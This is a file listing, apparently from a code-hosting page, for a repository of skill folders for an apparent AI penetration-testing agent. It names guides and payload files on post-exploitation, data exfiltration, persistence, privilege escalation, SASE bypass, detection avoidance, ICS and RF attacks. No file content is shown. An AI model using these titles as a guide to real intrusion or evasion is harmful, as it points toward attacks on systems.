  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/guides/physical-security-testing-playbook.mdmarkdown · 23.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/payloads.mdmarkdown · 55.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/physical-security-testing/test-cases.mdmarkdown · 26.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/SKILL.mdmarkdown · 19.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/2026-03-21-post-exploitation-tools.mdmarkdown · 5.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/data-exfiltration-guide.mdmarkdown · 6.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/lateral-movement-practical-guide.mdmarkdown · 4.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/lateral-movement-techniques-guide.mdmarkdown · 5.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/persistence-mechanisms-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/persistence-techniques-guide.mdmarkdown · 4.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/post-exploitation-cli-reference.mdmarkdown · 10.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/payloads.mdmarkdown · 24.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-exploitation/test-cases.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/SKILL.mdmarkdown · 19.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/guides/post-quantum-migration-attack-playbook.mdmarkdown · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/guides/real-world-incident-case-studies.mdmarkdown · 14.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/payloads.mdmarkdown · 31.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/post-quantum-migration-attack/test-cases.mdmarkdown · 22.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/SKILL.mdmarkdown · 17.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-05/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-05/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/guides/kyber-ransomware-retrospective.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/payloads.mdmarkdown · 17.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/pqc-implementation-attack/test-cases.mdmarkdown · 18.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/SKILL.mdmarkdown · 24.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/guides/kernel-exploit-safety-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/guides/linux-privilege-escalation-enumeration-guide.mdmarkdown · 6.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/guides/windows-privilege-escalation-attack-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/payloads.mdmarkdown · 35.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/privilege-escalation/test-cases.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/SKILL.mdmarkdown · 28.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/evidence/2026-09-04/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/evidence/2026-09-08/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/guides/http2-rapid-reset-guide.mdmarkdown · 10.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/guides/scapy-packet-crafting.mdmarkdown · 9.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/guides/ssh-protocol-state-exploitation.mdmarkdown · 10.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/guides/stateful-protocol-fuzzing.mdmarkdown · 9.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/payloads.mdmarkdown · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/protocol-state-exploitation/test-cases.mdmarkdown · 21.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/SKILL.mdmarkdown · 47.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/guides/pqc-migration-assessment-playbook.mdmarkdown · 36.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/guides/quantum-crypto-attack-deep-dive.mdmarkdown · 45.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/guides/quantum-crypto-attack-playbook.mdmarkdown · 37.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/payloads.mdmarkdown · 92.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/quantum-crypto-attack/test-cases.mdmarkdown · 27.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/SKILL.mdmarkdown · 9.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/2026-03-21-information-gathering-tools.mdmarkdown · 3.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/WPScan_Learning_Guide.mdmarkdown · 3.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/ffuf-advanced-guide.mdmarkdown · 2.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/gobuster-advanced-guide.mdmarkdown · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/gobuster-ffuf-quick-reference.mdmarkdown · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/information-gathering-cli-reference.mdmarkdown · 6.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/maltego.mdmarkdown · 2.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/osint-tools-check-20260328.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/photon.mdmarkdown · 2.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/recon-ng.mdmarkdown · 2.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/guides/wpscan-advanced-guide.mdmarkdown · 3.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/payloads.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/recon-osint/test-cases.mdmarkdown · 15.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/SKILL.mdmarkdown · 25.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/guides/real-world-incident-case-studies.mdmarkdown · 19.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/guides/red-team-infrastructure-playbook.mdmarkdown · 11.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/payloads.mdmarkdown · 29.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/red-team-infrastructure/test-cases.mdmarkdown · 26.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/SKILL.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/codebase-security-audit-workflow.mdmarkdown · 22.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/dependency-vulnerability-scanning-guide.mdmarkdown · 5.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/git-history-security-analysis-guide.mdmarkdown · 2.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/sast-integration-guide.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/secret-detection-patterns-guide.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/payloads.mdmarkdown · 39.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/repo-scan/test-cases.mdmarkdown · 23.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/SKILL.mdmarkdown · 18.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/evidence/2026-08-17/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/evidence/2026-08-17/summary.mdmarkdown · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/guides/real-world-incident-case-studies.mdmarkdown · 22.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/guides/reverse-engineering-advanced-playbook.mdmarkdown · 14.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/payloads.mdmarkdown · 39.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/reverse-engineering-advanced/test-cases.mdmarkdown · 35.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/SKILL.mdmarkdown · 11.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/error-handling-security-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/input-sanitization-patterns-guide.mdmarkdown · 5.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/rate-limiting-implementation-guide.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/scope-enforcement-operations.mdmarkdown · 27.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/security-headers-configuration-guide.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/guides/usage-and-assessment.mdmarkdown · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/payloads.mdmarkdown · 40.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/safety-guard/test-cases.mdmarkdown · 21.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/SKILL.mdmarkdown · 57.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/evidence/2026-08-17/summary.mdmarkdown · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/netskope-security-cloud-bypass-guide.mdmarkdown · 6.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/quick-reference-card.mdmarkdown · 19.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/real-world-incident-case-studies.mdmarkdown · 31.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/sase-sse-attack-playbook.mdmarkdown · 35.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/sase-sse-detection-avoidance-guide.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/sase-sse-tls-inspection-evasion-guide.mdmarkdown · 10.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/zscaler-zia-zpa-bypass-guide.mdmarkdown · 6.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/guides/ztna-client-connector-reverse-guide.mdmarkdown · 8.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/payloads.mdmarkdown · 83.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sase-sse-attack/test-cases.mdmarkdown · 38.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/SKILL.mdmarkdown · 35.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/guides/satellite-leo-security-playbook.mdmarkdown · 30.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/payloads.mdmarkdown · 76.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/satellite-leo-security/test-cases.mdmarkdown · 24.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/SKILL.mdmarkdown · 29.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/ics-honeypot-detection-guide.mdmarkdown · 23.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/ics-incident-response-guide.mdmarkdown · 51.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/ics-network-assessment.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/ics-protocol-recon.mdmarkdown · 16.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/modbus-s7comm-attack.mdmarkdown · 19.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/purdue-model-attack-paths-guide.mdmarkdown · 47.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/scada-network-monitoring-guide.mdmarkdown · 24.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/payloads.mdmarkdown · 49.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/scada-ics-security/test-cases.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/SKILL.mdmarkdown · 23.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/gps-spoofing-guide.mdmarkdown · 23.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/gsm-lte-basestation-attack-guide.mdmarkdown · 18.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/rf-fingerprinting-device-identification-guide.mdmarkdown · 13.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/rfid-nfc-deep-dive-guide.mdmarkdown · 43.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/rfid-rf-replay-attack-guide.mdmarkdown · 26.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/satellite-signal-analysis-guide.mdmarkdown · 43.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/sdr-signal-capture-analysis-guide.mdmarkdown · 21.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/sub-ghz-iot-attack-guide.mdmarkdown · 41.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/guides/zigbee-ble-sdr-guide.mdmarkdown · 32.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/payloads.mdmarkdown · 25.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/sdr-rf-attack/test-cases.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/SKILL.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/exploit-research-methodology.mdmarkdown · 19.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/multi-source-intelligence-correlation-guide.mdmarkdown · 5.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/search-query-optimization-guide.mdmarkdown · 5.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/search-result-validation-guide.mdmarkdown · 6.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/tool-evaluation-and-selection-guide.mdmarkdown · 16.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/payloads.mdmarkdown · 35.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/search-first/test-cases.mdmarkdown · 21.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/SKILL.mdmarkdown · 35.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-08-17/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

